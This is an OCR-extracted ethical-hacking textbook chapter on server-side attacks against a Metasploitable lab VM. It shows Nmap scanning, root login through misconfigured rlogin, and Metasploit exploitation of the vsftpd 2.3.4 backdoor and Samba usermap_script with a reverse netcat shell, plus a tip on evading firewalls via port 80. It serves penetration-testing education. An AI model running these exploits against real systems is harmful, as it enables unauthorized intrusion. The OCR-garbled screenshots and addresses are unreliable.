In this chapter, we looked at how we can detect ARP attacks on a system. First, we learned
what an ARP attack is and launched one ourselves. Then we saw how to detect an ARP
attack, as well as general suspicious behavior with the use of Wireshark.

The next few chapters we are going to look at how we can gain access to the victims
machines for which we will be learning about the server-side and client-side attacks.
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Gaining Access to Computer
Devices

We are now moving toward the next segment of the book, where we will be covering topics
related to gaining access to computer devices. In this part, we will be looking at ways to
gain access to a victim's machine. We will be hacking victims' systems using various
techniques. This chapter will cover the first approach to attacking the victim's system: the
server-side attack. We will perform a server-side attack using the Metasploit device and
also exploitation of backdoors.

This chapter has the following sections:

Introduction to gaining access
Server-side attacks

Server-side basics

Server-side attacks, Metasploit basics

Code execution Metasploit
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Introduction to gaining access

Now you have enough information to go ahead and try to gain access to other systems, to
computers, servers, web servers, and stuff like that. In this section, we're going to be talking
about gaining access to computer devices. What do we mean by computer devices? Any
electronic device you see is a computer. A phone, a TV, a laptop, a web server, a website, a
network, a router; all of these things are computers. Each one of them has an operating
system, and they have programs installed on these operating systems. In most cases, these
computers are used by a user. Here, we are going to be talking about how to gain access to
computers. In this example, we are going to use a computer. We are going to have a
Windows device target, and we're going to have a Linux device hacker. But the concept is
always the same; getting access to computer devices is always the same. We can apply the
same concepts if we are targeting a phone, a tablet, or a web server, but we will be
considering them all just like a normal computer. This is very important to understand:
every device we see is a computer, and they work just like our personal computer. We can
set up a web server on our computer, we can make it look and act like a website, or even
make it act like a TV, or, for that matter, anything we want. Literally, TVs and all such
things are just simple computers with less complicated hardware in them.

We're going to be talking about attacking these devices from two main sides: the server side
and the client side.

Server side

A server-side attack doesn't require any user interaction. We're going to have a computer,
and we're going to see how we can gain access to that computer without the need for the
user to do anything. This mostly applies to web servers, applications, and devices that don't
get used much by people. People basically configure them and then they run automatically.
All we have is an IP address, and we're going to see how we can test the security and gain
access to that computer based on that IP. Our main way of getting in is going to be the
operating system that that target runs, and the applications installed on that system.
Various types of server-side attacks include SQL injection attacks, buffer overflow, and
denial-of-service attacks.

In this chapter, we will be focusing on server-side attacks. We will look in detail at what a
server-side attack is and how to implement one.
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Client side

The second approach that we're going to try is the client-side attack. This approach will
require the client, or the person who uses that computer, to do something. This could
involve a number of things, such as installing an update, opening a picture, or opening a
Trojan. We're going to learn how to create a Trojan, how to create backdoors, how to use
social engineering to make the target person do something so that when they carry out that
action, we will gain access to their computer. Information gathering is going to be crucial in
this case, because we actually need to know the person that we're targeting. Various types
of client-side attacks include content spoofing, cross-site scripting, and session fixation.

Post-exploitation

Once we get an access to the system, we will see what we can do after we gain access to this
computer, regardless of the method used to gained access to it. This could involve a server-
side exploit, a client-side exploit, or even just physical access, where the victim leaves their
desk and you get in. We're going look at what we can do once we have access to the target,
how we can further exploit that target and increase our privileges, or target other
computers in the same place.

Sever-side attacks

The first thing we're going to look at is server-side attacks. These are attacks that don't
require user interaction. We can use these attacks with web servers, and also use them
against normal computers that people use every day. The reason why we are going to be
using it against my Metasploitable (which runs Unix, and which is more of a server than a
normal personal computer) is because if our target uses a personal computer, and if they're
not on the same network as us, then even if we manage to get their IP address, their IP
address is going to be behind a router. They'll probably be connecting through a router, and
therefore, if we use the IP to try and determine what operating systems run on it and what
applications are installed, we will not get much useful information because we are only
going to be getting information about the router and not about the person. The person will
be hiding behind the router. When we are targeting a web server, or a server in general,
then the server will have an IP address and we can access that IP address directly on the
internet. This attack will work if the person is on the same network and if the person has a
real IP. If we can ping the person, even if it's a personal computer, then we can run all of the
attacks and all of the information-gathering methods that we're going to learn about.
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We are going to be targeting my Metasploitable machine. Before we start working on it, we
will just check the network settings. Just to verify it, it is set to NAT and it's on the same
network as the Kali machine. The Kali machine is going to be our attacking machine. Again,
we have to check that the network is set to the NAT network and it's on the same subnet.
This is very important. If we do i fconfig, we will be able to see our IP address as shown

in the following screenshot:

To access official Ubuntu documentation, please wiszit:
http:s~help.ubuntu.con~

o mail.

sfadmin@netasploitable:™S ifconfig

tho

Link encap:Ethernet HWaddr 08:00:27:5f :44:0c

inet addr:10.0.2.4 Bcast:10.0.2.255 Mask:255.255.255.0
inetb addr: fe80::a00:27ff :fe5f :440c- 64 Scope:Link

UP BROADCAST RUNNING MULTICAST HMTU:1500 HMetric:1

RX packet=:45 errors:0 dropped:® overruns:0 frame:0

TX packet=:69 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgqueuelen:1000

EX bytes:6783 (6.6 KB) TX bytes:7442 (7.2 KB)
Base address:0xd010 Memory:fo000000-f0020000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1,128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 HMetric:1

RX packets:105 errors:0 dropped:0 overruns:0 frame:0
TX packets:105 errors:0 dropped:0 overruns:0 carrier:9
collisions:0 txqueuelen:0O

RX bytes:25617 (25.0 KB) TX bytes:25617 (25.0 KB)

sfadmin@netasploitable:™$
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If we go to my Kali machine, we should be able to ping it. As we can see in the following
screenshot, when we ping on the IP, we're getting responses back from the machine, which
tells us we are connected to that machine and we can get responses from it. Therefore, we
can try and test its security as shown with the next screenshot:

root@kali: ~ e ® O

File Edit View Search Terminal Help
:~# ping 10.8.2.4

PING 10.0.2.4 (10.0.2.4) 56(84) bytes of data.

bytes from .0. : lcmp seqg=1 64 982

from icmp_seq=: i .530
from .512
from icmp seqg=4 b i .648
Trom icmp i .03 ms
from 6 ttl=64 ti .221 ms
from ttl=64 ti .392 ms
from 3 ttl=64 ti .473 ms
from ttl=64 ti .279 ms
from =10 ttl=64 tim .296 ms
Trom b 11 tt1=64 time=0.299 ms
Trom seq=12 ttl=64 time=0.350 ms

°
FNSE NS

EoRE I - )

NNNNNNNNNNRNN
S

OO
s

--- 10.0.2.4 ping statistics ---
12 packets transmitted, 12 received, 0% packet loss, time 11204ms
rtt min/avg/max/mdev = 8.221/8.501/1.838/8.254 ms

Again, we can use these attacks and these approaches against any computer that we can
ping. If it's a personal computer or if it's a server of any kind, as long as we can ping that
location or we can ping that person, then we can launch these attacks and methods that
we're going to talk about.
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Server-side attacks work against websites, web servers, people, and normal computers, as
long as we can ping them. Just to convey this idea, we will see the Metasploitable machine,
which is just a normal virtual machine that we can use right here to do anything we want.
We can list it using the ~1s command, and we can even install a graphical interface. Then
we will be able to use it in the way we use my Kali machine. But at the same time, it has a
web server. If we try to navigate to the server, we will see that it actually has a web server
and it has websites that we can actually read and browse. We're going to have a look at
these websites and see how we can pen test them in the later chapters as we can see in the
following screenshot:

Metasploitable2 - Linux - Mozilla Firefox - O <)

Metasploitable 2 - Linux x|\ 4+

€ 3 10024 - . Search ﬁ B 4+ &# O =
[ Most Visited~ JlOffensive Security & Kali Linux "% Kali Docs " Kali Tools = Exploit-DB Wy Aircrack-ng glKali Forums “&, NetHunter »
[ I I T O N AN T I Y R
| S, U O, i el S [NV AR ] e S R 1 R S T |
IS I S N O, O Y A Y I O S O Y [N 7 S
6 ] WY O, WP JI’ F_I A | I I | . |

Warning: Mever expose this VM Lo an untrusted network!
Contact: msfdev[at]metasploit. com

Login with msfadmin/msfadmin to get started

Twiki

L]
+ phpMyAdmin
« Mutillidae

« DVWA

* WebDAV

Everything is a computer, and if we can ping the IP, we can use server-side attacks. They
mostly work against servers because servers always have real IPs. If the person is in the
same network as we are, then we can ping them to do all of these attacks as well.
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Server-side attack basics

The first step in server-side attacks is information gathering. Information gathering is very
important because it will show us the operating system of the target, the installed
programs, the running services on the target, and the ports associated with these services.
From these installed services, we can try and get into the system. We can do this by trying
the default passwords. We saw this in the network penetration testing part where the iPad
had an SSH service installed that basically gave us full access to the computer if the person
still uses the default password, which was alpine. We can do this with any other service,
and we will do so further in this section.

There's a lot of people that install services and misconfigure them, so we'll have another
example of this as well. Sometimes, a lot of these services are designed to give someone
remote access to that computer, but they obviously need to have some security
implementations. People often misconfigure these services, so we can take advantage of
these misconfigurations and gain access to these computers. Another problem with these
services is that some of them might even have backdoors, and we'll see an example of that
too. A lot of them will have vulnerabilities, such as remote buffer overflows or code
execution vulnerabilities, and this will allow us to gain full access to the computer.

The simplest way of doing this is something that we've seen before: Zenmap. We use
Zenmap with the IP. We get a list of all of these services, and then Google each one of them
to see if they contain any vulnerabilities. We've seen how we can use Zenmap in previous
chapters, but we just want to convey the idea that anything is a computer. We've seen
before how the Metasploitable device is actually a website. It has a web server running;
websites are no different than this. If we want to get the IP of a website, all we have to do
is ping. For example, if we're targeting Facebook, we have to ping facebook.com, and
we'll get their IP. We will have Facebook's IP and we'll be able to run Zenmap against it and
get a list of all the running services on Facebook. Now, obviously we are not going to do
that because we are not allowed to do that. What we are going to do is run Zenmap against
this Metasploitable device, which basically is a computer device, and that's what we're
interested in testing.
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We going to run Zenmap in the same way that we did before. We will go to Activities. We
are just going to look for Zenmap and open it. Now we are going to enter the IP of our
target, of the Metasploitable device, which was 10.0.2. 4 in our example. Remember that
in Chapter 4, Network Penetration Testing we used to put the base IP and put it over 24 to
cover all the IPs around us in the network. In this case, you might be testing a remote IP.
For example, in the case of Facebook, all you have to do is just put the Facebook target IP in
there and test it. But since we don't have permission to do so, we are not going to do that.
We do have permission to test our own device, though, which is installed on the same
network as us, so that's why we will be putting in that IP. We can literally put any IP we
want in there and test it. We are going to use Scan, and this will give us a list of all the
installed applications as shown in the following screenshot:

Zenmap e 00
Scan Tools Profile Help
Target: |10.0.2.4 v  Profile: |Intense scan ¥ | |Scan

Command: nmap -T4 -A -v 10.0.2.4

Hosts || Services | Nmap Output | Ports / Hosts  Topology  Host Details = Scans
0s Host v | nmap -T4d -A -v 10.,0.2.4 a Details

4y 10.0.2.4 Starting Nmap 7.7@ ( https://nmap.org ) at 2018-86-12 85:50 EDT

NSE: Loaded 148 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 05:50

Completed NSE at 85:568, 6.60s elapsed

Initiating NSE at 05:50

Completed NSE at 85:568, 6.60s elapsed

Initiating ARP Ping Scan at ©5:58

Scanning 10.6.2.4 [1 port]

Completed ARP Ping Scan at 05:58, ©.13s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at ©5:50

Completed Parallel DNS resolution of 1 host. at ©5:50, ©.30s elapsed

Initiating SYN Stealth Scan at ©5:58

Scanning 10.9.2.4 [1000 ports]

Discovered open port 80/tcp on 10.0.2.4

Discovered open port 59@e/tcp on 19.9.2.
0.2.

4
Discovered open port 3306/tcp on 10. 4
Discovered open port 111/tcp on 18.8.2.4
Discovered open port 139/tcp on 10.0.2.4
Discovered open port 23/tcp on 10.8.2.4

Discovered open port 445/tcp on 10.9.2.4

Discovered open port 53/tcp on 18.8.2.4
Discovered open port 21/tcp on 10.0.2.4
Discovered open port 25/tcp on 18.8.2.4
Discovered open port 22/tcp on 10.0.2.4
Discovered open port 513/tcp on 18.6.2.4

Discovered open port 2049/tcp on 10.0.2.4
Discovered open port 514/tcp on 10.8.2.4
Filter Hosts Discovered open port 1524/tcp on 10.0.2.4 v
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Once the scan is finished, we will have a lot of open ports and a lot of services. It is
advisable that we go on the Nmap Output tab, check port by port, read what the services
are, and Google the names of the services. For example, we have port 21 in the following
screenshot, which is an FTP port. FIP is a service that's installed to allow people to upload
or download files from the remote server. FTP services usually use a username and a
password, but we can see that this service has been misconfigured and it allows an
anonymous FTP login. Unlike the SSH that we used before in the network penetration
testing, we can use the default password. With this we will be able to log in without a
password, note the next screenshot:

Zenmap - (IO -

Scan Tools Profile Help
Target: [10.0.2.4 v Profile: | Intense scan ¥ | |Scan

Command: nmap -T4 -A -v 10.0.2.4

Hosts | Services | Nmap Output | Ports / Hosts  Topology  Host Details = Scans

s Host — | nmap -T4-A-v100.2.4 = | !nb‘ldil\
Not shown: 977 closed ports .
FORT STATE SERVICE VERSION
21/tcp open ftp vsTtpd 2.3.4
| _ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|  STAT:

| FTP server status:
Connected to 10.0.2.15

Logged in as ftp
TYPE: ASCII

Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh Open55H 4.7pl Debian Bubuntul (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:el:cH:5f:6a:74:d6:90:24;:fa:c4:d5:6c:cd (DSA)
| 2048 56:56:24:07:21:1d:de:a7:2b:ae:61:bl:24:3d:e8:73 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smip Postfix smtpd
| smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN,
STARTTLS, ENHANCEDSTATUSCODES, S8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntuB864-base.localdomain/organizationName=0C0SA/
stateOrProvinceName=There is no such thing outside US/countryName=xX
| Issuer: commonName=ubuntu8@4-base.localdomain/organizationName=0COSA/
stateOrProvinceName=There is no such thing outside US/countryName=xx
Filter Hosls | Public Key type: rsa v

|
|
|
| No session bandwidth limit
|
|
|
|
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All we have to do is download an FTP client, such as FileZilla, and we will be able to
connect using this IP address on port 21. We won't go into the details of how to do it, as it is
very simple. We just have to download the application and connect to it. We can also
Google an FTP server, which in our case is vsftpd 2.3.4, and see whether it has any issues, if
it has any misconfigurations, or it has any known code execution exploits. Once we Google
this, we can see that this particular application, vsftpd 2.3.4, has a backdoor installed with
it. It literally came with a backdoor when it was released. We need to Google the services
one by one and check whether they have any misconfigurations or any exploits installed, or
any known exploits.

Now we are going to have a look at port 512. Let's assume we went on them one by one,
we couldn't find anything, and we reached the 512 TCP port, as shown in the next
screenshot:

Zenmap

Scan Tools Profile Help

Target: [10.0.2.4 v | Profile: |Intense scan v | |Scan|

Command: | nmap -T4-A -v 10.0.2.4

Haosts | Services Nmap Output | Ports / Hosts  Topology  Host Details  Scans
0S |Host = nmap -T4 -A -v 10.0.2.4 = | Details

4. 10.0.2.4 | 100024 1 56585/tcp status &

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbhios-ssn Samba smbd 3.9.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login

514/tcp open tcpwrapped

1899/tcp open java-rmi Java RMI Registry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysqgl MySOL 5.0.5l1a-3ubuntus
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We are going to Google the service that's running on this port, as we don't know what it is.
After a little Googling, we know that netkit-rsh is a remote execution program. If we
manage to log in with this, we'll be able to execute commands on the target computer, and
it uses the rsh rlogin, which is a program that ships with Linux. It allows us, similar to
SSH, to execute remote commands on the target computer. Let's go back and see how we
can connect to the rsh rlogin service. Let's look at the netkit-rsh package, and what
comes with this package. As we can see, this is Ubuntu. The target computer system is
running on Ubuntu, and we can see that in here it uses the rsh-client service to connect.
We need to install a package to connect to that service. It is a client program for a remote
shell connection. Now go back, and let's install rsh-client. As we did before when we
needed to install something, we run apt-get, and we do install. We'll type the name of
the program that we want to install, so it's rsh-client. The command to install rsh-
client is as follows:

apt—-get install rsh-client

apt-get is going to install it for us and configure it, and once it's installed, we're going to
use rlogin to log in, because the first page told us that it uses the r1ogin program to
facilitate the login process. We are going to do rlogin, and again, if we don't know how to
use this app, we use ——help to see how to use it, as shown in the following screenshot:

:~# rlogin --help

in: invalid option -- '-'
: rlogin [-8BELKd] [-e char] [-i user] [-1 user] [-p port] host

What's important here is the username (-1) and the host, which is the target IP. Now we
are going to do rlogin. We are going to put the username as root, which is the user with
the most privileges on the system, and we'll put the target IP, whichis 10.0.2. 4. Here is
the command:

rlogin -1 root 10.0.2.4

And now we are logged into the Metasploitable machine. If we execute the id command to
get the ID, we can see that we are root. If we do a uname -a it will list the hostname and
the kernel that's running on the machine. We can see that we are in the Metasploitable
machine with root access, shown as follows:

root@metasploitable:~# id
uid=@{root) gid=0(root) groups=0(root)

root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
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This is a basic manual way of gaining access to the target computer by exploiting the
misconfiguration of an installed service. The r1ogin service was not configured properly.
All we had to do was just Google what came with that port, and we managed to log in and
gain full access to the target computer.

Again, the key point here is we do a Zenmap scan and then go to each
port that we find. We Google that port and look for misconfigurations and
default passwords. If this target service came in with a backdoor or code
execution, maybe it just wasn't programmed properly or it had a flaw that
can be used to gain access to that computer.

Server-side attacks — Metasploit basics

In this section, we're going to look at an example of a very simple thing: a backdoor. Some
programs or services are shipped with backdoors embedded in them. We're going to
exploit this, and we are choosing this very simple exploit because we are going to look at a
framework called Metasploit. We will be using this framework a lot. We are going to start
with something simple and then we're going to go deeper into the framework. First, let's
look at how we can find that exploit. Again, using the same method that we've always been
using, we have an Nmap scan; as we know, we're going to go on each port and Google
them, looking for exploits. We are going to Google the service name vsftpd 2.3.4
exploit. It's the service name followed by exploit. We can see that the first result comes
in from a website called Rapid7. Rapid7 is a company that makes the Metasploit
framework, so that's why we chose this particular exploit. We're going to exploit this
service, or this problem, using Metasploit. Rapid7 will tell us that the 2.3.4 version of FTP
has a backdoor command execution, so we can basically execute commands on the target
computer if it has this program installed. And from Nmap, we know that this program is
installed, which means that we can execute commands on the target machine.

Metasploit, as we have said, is made by Rapid?. It is a huge framework that contains a large
number of exploits. It allows you to exploit vulnerabilities or create your own exploits. If
you are an expert and you know how to discover and make exploits, then Metasploit will
help you do that. For now, we're making use of a very simple existing vulnerability. The
commands on Metasploit are very easy. They might seem a bit complicated at first, but
once we get used to them, they are very easy to use, and a lot of them are generic
commands. Here, we will show you the basic generic commands.
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There are other commands that we will get used to in time:

msfconsole: This just launches the Metasploit program.

help: With this, we can get information about the commands and a description
of how we can use them.

show: This shows the available exploits. We can show the available auxiliaries
and the available payloads. We'll talk about what each of these mean in the
future.

use: This command is used to use something that we have shown. For example,
we show the exploits and we pick a certain exploit that we want to use. Then we
use the use command and we type in the exploit name to run it.

set: The set command is used to set specific options for the exploit. For
example, if we want to set the IP address of our target, we set the IP and then we
enter the value of the IP that we want to set it to.

exploit: At the end, once we finish configuring, we can type in exploit to
execute that exploit.

We went on Nmap, we Googled the name of the service, and the first thing that came up is
that this service has a backdoor command execution. Because this is on Rapid7, the
vulnerability is exploitable using Metasploit, and the module name that we're going to be
using is exploit.unix/ftp/vsftpd_234_backdoor to exploit this vulnerability.

Now we will go to our console, and we will launch Metasploit using the
msfconsole command, and we're going to run use and then put the name of the exploit,
which is exploit.unix/ftp/vsftpd_234_backdoor:

use exploit/unix/ftp/vsftpd_234_backdoor

As we can see in the following screenshot, the name changed to exploit and then the
name of exploit that we're using:

loit/un ftp/vsTtpd 234 ba
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Then we're going to use the show command to show the options that we need to set. As we
know, show is a generic command that we can use in a number of cases. In this case, we're
doing show options to see all the options that we can change for this particular exploit.
As you can see in the following screenshot, the second option is the port that the service is
running on. It's already set to port 21:

msf exploit( ) = show options

Module options (exploit/unix/ftp/vsftpd 234 backdoor):

Name Current Setting Required Description

RHOST ye The target add

RPORT 2 yes The target port (TCP)
Exploit target:

Id MName

0] Automatic

If we go back to Nmap, we will see that our target FTP client, or server, is running on port
21. We don't need to change any of that. What we need to change is RHOST. RHOST is the
target IP address, and we're going to set RHOST, and that's the IP address of my target
Metasploitable machine. We use set, and after set we put the option name. If we want to
change the port, we set RPORT, but we are changing the RHOST to 10.0.2. 4. As explained
at the start of this topic, we're going to use the set option, or the set command. The
command is going to be as follows:

set RHOST 10.0.2.4

Press Enter, and as we can see now, in the next screenshot, the RHOST issetto 10.0.2. 4:

msf exploit( ) = set RHOST 10.0.2.4

RHOST == 10.06.2.4
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Now we will do show options again just to make sure that everything is configured
correctly, and as you can see in the following screenshot, RHOST has been changed to

10.0.2.4:

mst exploit( ) = show options

Module options (exploit/unix/ftp/vsftpd 234 bac

Name Current Setting Required Description

RHOST D.0.2.4 The tarq address
RPORT 2 3 The tarq port (TCP)

Exploit target:
Id Mame

0] Automatic

Everything is ready now. To execute the exploit, we just type in exploit. We can see in
the following screenshot that the exploit was run successfully, and now we have access to
the target computer. If we do id we will see that our UID is root:

i rd.
- Backdoor rvic a handling. ..

[+] 19.90.2.4: - UID: uid=@(roo

[+] Found L1.
[+*] Command shell session 1 opened (10.0.2.15:3¢ -> 10.0.2.4:6200)

at 2018-06-12 23:57:21 -0400

id
uid=0(root) gid=@(root)
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Now basically we are running Linux commands here, so if we do a uname -a we will see
that this is my Metasploitable machine, and if we do 1s then it'll list the files for us. If we do
pwd it'll show us where we are, and we can use Linux commands to do anything we want
on the target machine:

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux

initrd
initrd.img
1ib
lost+found
media

mnt
nohup.out

vmlinuz

Now this was a very simple use of Metasploit. In the future, we're going to be using it for
more advanced actions.
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Metasploit remote code execution

Now we're going to have a more advanced look at Metasploit, and we'll see how to use it to
exploit a vulnerability that exists in a certain service. It's a code execution vulnerability that
will give us full access to the target computer. Coming back to our results in Nmap, we're
going to do the same thing that we've been doing for a while: we copy the service name and
see whether it has any vulnerabilities. For now, we're having a look at port 139, which has
a Samba server version 3.X. We're going to go to Google, just like we did in the previous
section, and we're going to look for Samba 3.X exploit. You will see there's a number of
results. The one that we're interested in is from Rapid7, because, as mentioned earlier, these
are the people that make Metasploit, so the exploits that we see there can be used through
Metasploit. The exploit we'll be using is username map script. It's a command execution
vulnerability. The name of the vulnerability is exploit/multi/samba/usermap_script,
so it's the same thing that we used before with the evil backdoor in the FTP service. This is
just a different name that we're going to use, as shown in the following screenshot:

CVE-2007-2447 Samba "username map script” Command Executlon | Rapld7 - Mozilla Firefox o0 O

F) CVE-2007-2447 5am... % | 4+

€ | @ @ | https:/Awww.rapid7.com/db/modules/exploit/multi/sambafusermap_scr Search B ¥+ # =

[5Most Visited~ Il Offensive Security S\ Kali Linux " Kali Docs “ Kali Tools = Exploit-DB W Aircrack-ng plKali Forums "\ NetHunter

Vulnerability & Exploit
Database

Back to search
Samba "username map script" Command Execution

This module exploits a command execution vulnerability in Samba versions 3020 through 3.025rc3 when using the non-default “username map
script” configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No
authentication is needed to exploit thic vulnerability since this option is used to map usernames prior to authentication!

Module Name

lexplu t/multi/samba/usermap _script I

Free Metasploit Download

Get your copy of the world's leading penetration testing tool

Authors

jduck <jduck [at] metasploit.com>
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We will go to Metasploit and run msfconsole. We will be writing a command like we did
in the previous section. We write use, and then we are going to type the name of the
exploit that we want to use. The next thing that we are going to do is show options. The
command will be as follows:

use exploit/multi/samba/usermap_script
show options

Here is the output of the preceding command:

se exploit/multi/samba/usermap script
} = show options

Module options (exploit/multi/samba/usermap script):

Name Current Setting Required Description

RHOST y The target address

RPORT 13 yes The target port (TCP}

Exploit target:
Id MName

2] Automatic

Using these exploits is always pretty much the same. The only difference is the options
that we can set for each exploit. We always run use and then we type in the exploit name,
and then do show options to see what we can change to work with this exploit. In the
future, we probably will get different exploits than what we have now. Every time we want
to run an exploit, we do use <exploit name>, and then we do show options to see the
options that we want to configure. But using the exploits and setting the options and
running them is always the same.
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We will learn a few examples that should cover pretty much everything that we want to do
in the future. Again, we need to set up RHOST, which is the IP of the target computer, and
we're going to do it the same way that we did before. As setting the options is always the
same, so we're going to do set RHOST, and then we're going to put the IP of the target
computer, which is 10.0.2. 4. Exactly like we did before, we're using the set command to
set an option, which is the RHOST. We're going to run show options, and as we can see in
the following screenshot, the RHOST will be set correctly according to the specified IP:

msf exploit( ) = set RHOST 10.0.2.4
) = show options
Module options (expleoit/multi/samba/usermap script):

Name Current Setting Required Description

The ta t

RPORT 139 The target port

Exploit target:
Id MName

Q Automatic

This is where things differ from the previous section. In the preceding section, we used a
backdoor that was already installed on the target computer, so all we had to do was
connect to the backdoor and then we could run any Linux commands on the target
computer. In this section, the target computer does not have a backdoor; it has a normal
program that has a buffer overflow or a code execution vulnerability. The program doesn't
have any code that allows us to run Linux commands. It has a certain flaw that will let us
run a small piece of code. These small pieces of code are called payloads. What we need to
do is create a payload and then run it on the target computer using the vulnerability that
we found. That piece of code will allow us to do different things. The payload is what
allows us to do things that are useful to us.
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Now, the payload might let us do Linux commands, and there are other types of payload
we'll look at in the future. To see the payloads that you can use with this particular exploit,
all you have to do is run the show payloads command. We can use different types of
payload, as shown in the following screenshot:

awk | 0 L, Bind
inetd 1ix L, Bind

at gaping
ar_gaping

l_ipv6

(L nd
¢ Command

Generic Co nd cutio
hell, Double Reverse TCP (Telner)
TCP (via AWK)
TCP (via
TCP
TCP
sec TCP |

netcat
nctcat
opens

[LRLRG RN

> perl
perl
php

python

r

ruby
ruby ssl
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Payloads are small pieces of code that will be executed on the target computer once the
vulnerability has been exploited. When we exploit the vulnerability, the code that we're
going to pick will be executed, and depending on the type of payload we choose, that
payload will do something that is useful to us. Right now, we can see that all the payloads
are command line, so they let us run commands on the target computer, just like Linux
commands. And all of them only run on Unix, because our target is Linux.

There are two main types of payloads:

e Bind payloads: All they do is open a port on the target computer, and then we
can connect to that port.

¢ Reverse payloads: They do the opposite of bind payloads. They open a port in
my machine and then they connect from the target computer to our machine.
This is useful because this allows us to bypass firewalls. Firewalls filter any
connections going to the target machine, but if the target machine connects to us
and we don't have a firewall, then we will be able to bypass the firewall.

We will be using the cmd/unix/reverse_netcat payload. The last part of these payloads
are the programming language or the tool that's going to be used to facilitate the
connection. For example, we can see in preceding screenshot that there are payloads
written in Perl, Ruby, Python, PHP, or using Netcat, which is a tool that allows connections
between computers. The cmd/unix/reverse_netcat payload is the one that we are going
to use, and we are going to use it in the same way we use an exploit. We are just going to
use it using the set command. The command will be as follows:

set PAYLOAD cmd/unix/reverse_netcat
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The same way you set an opt ion, we're going to set payload. We do show options to see
if there are any other options that we need to set, and because we picked a payload, there
are more options. As you can see in the following screenshot, there is an option called
LHOST, and it's the listening address, which is our own address:
t PAYLOAD cmd/un e_netcat

) = show options

sermap script):

RHOST addr

RPORT 139 e t port

oad options (cmd/uni

Name
LHOST
LPORT 4444

Current Setting

Exploit target:

Id MName

0] Automatic

We are going to get our own IP address using i fconfig, and our address for this example

i 10.2.0.15, shown as follows:

¢ ifconfig

73395

0 dropped ©® overruns ©

1

‘reverse_netcat):

Required Description

The 1
The 1

addres:
port

= mtu 1500
i BV o W 8 broadcast 1t
Ob: n 64 sc
CqUE 1 1008 (Ethern
(597.6 MiB)
frame ©
5487095 (5.2 MiB)
carrier ©

255

bytes
collisions @

scopeid 0x1@<host:

{Local Loopback)
6 (1.7 KiB)
OVEerruns
6 (1.7 KiB)
0 overruns @

frame ©
18

carrier ® collisions @

20<link>
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We are going to set the LHOST in the same way that we set the RHOST before. We set the
LHOST to 10.2.0.15. Before, we used set RHOST to set this option. Now we're setting the
LHOST to set this particular option. The set command is really simple: set, the <option
name>, and then the <value> that we want to set it to:

set LHOST 10.0.2.15

Then we are going to do show options, and everything seems fine, as shown in the next
screenshot:

} > set LHOST 10.0.2.15
} = show options
Module options (exploit/multi/samba/usermap script):
Name Current Setting Required Description
The target address

RPORT 139 \ The target port (TCP)

Payload options (cmd/unix/reverse netcat):

add

LPORT 4444 yes The listen port

Exploit target:

Id Mame

Q Automatic
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We're using this exploit. The RHOST is set to 10.0. 2. 4, which is OK, and then the LHOST is
setto 10.0.2.15, which is perfect, and then we can also set the port that you're going to be
listening on on your current computer. You can actually set it to 80 if you want to. That's
the port that is used by web browsers. If we set the LPORT to 80, the target computer will
try to connect to us using port 80, which is never filtered on firewalls because that's the
port that web browsers, or web servers, use. Whenever we access a website, we actually
access port 80 on that website. If we open port 80 on our machine and the target connects
to us on port 80, then the firewall will think that the target is only browsing the internet.
We are not going to do that now because we have a web server running on port 80 and that
will conflict. We are just going to set the LPORT to 5555, in the same way as LHOST. We are
going to do show options again, and as we can see in the following screenshot, that port
has been changed to 5555:

) = set LPORT 5555
msf exploit( ) = show options
Module options (exploit/multi/samba/usermap script):

HETIS Current Setting Required Description

RHOST 10.0.2.4
RPORT 139 The target port (TCP)

Payload options (cmd/unix/reverse netcat):

HENS Current Setting Required Description

25 The listen address
LPORT 5555 es The listen port
Exploit target:
Id Name

0] Automatic
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Now we are going to run the exploit command to run the exploit. As we can see in the
following screenshot, it's telling us that session 1 has been opened and the connection is
between the 10.0.2.15:5555 device and the 10.0.2.4:48184 device, which is our
device and the target device:

exploit( ) > exploit

] Started reverse TCP handler on 10.0.2.15:5
] Command shell session 1 opened (10.0.2.15: 5 -> 10.0.2.4:48184) at 2018-06-13 01:06:05 -0400

We are going to do pwd, and we do id. We will see that we are root. If we do uname -ga,
we will see we are in the Metasploitable machine, and if we do 1s we will be able to list the
files and so on. We can use any Linux command just like we did before in the previous
section, shown as follows:

pwd

/

id

uid=0(root) gid=0{root)

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
1s

bin

boot

cdrom

dev

initrd.img
lib
lost+found
media

mnt
nohup.out

vmlinuz
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Summary

In this chapter, we looked at the concept of gaining access to a machine, and we also got an
overview of ways to gain access. We also looked at the basics of server-side attacks, which
are the techniques of gaining access to victims' machines. We saw how to use a default
password or a misconfigured service to gain access to the target computer. We

then saw how to use a service with a default password, a service that has not been
configured correctly, and a service that came with a backdoor to gain full access to the
target computer. We also looked at using Metasploit to connect to a backdoor that was
installed on the FTP service. The next chapter will be about using the MSFC and Nexpose
tools to scan and analyze vulnerabilities.
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Scanning Vulnerabilities Using
Tools

In this chapter, we will see how to install MSFC, learn about the scanning process, and
finally look at the analysis of the report. We will also be installing a tool called Nexpose,

which will scan our system for vulnerabilities. We will also learn to generate reports and
analyze them.

This chapter covers the following topics:

e Installing MSFC
MSEFC scan

MSEC analysis
Installing Nexpose

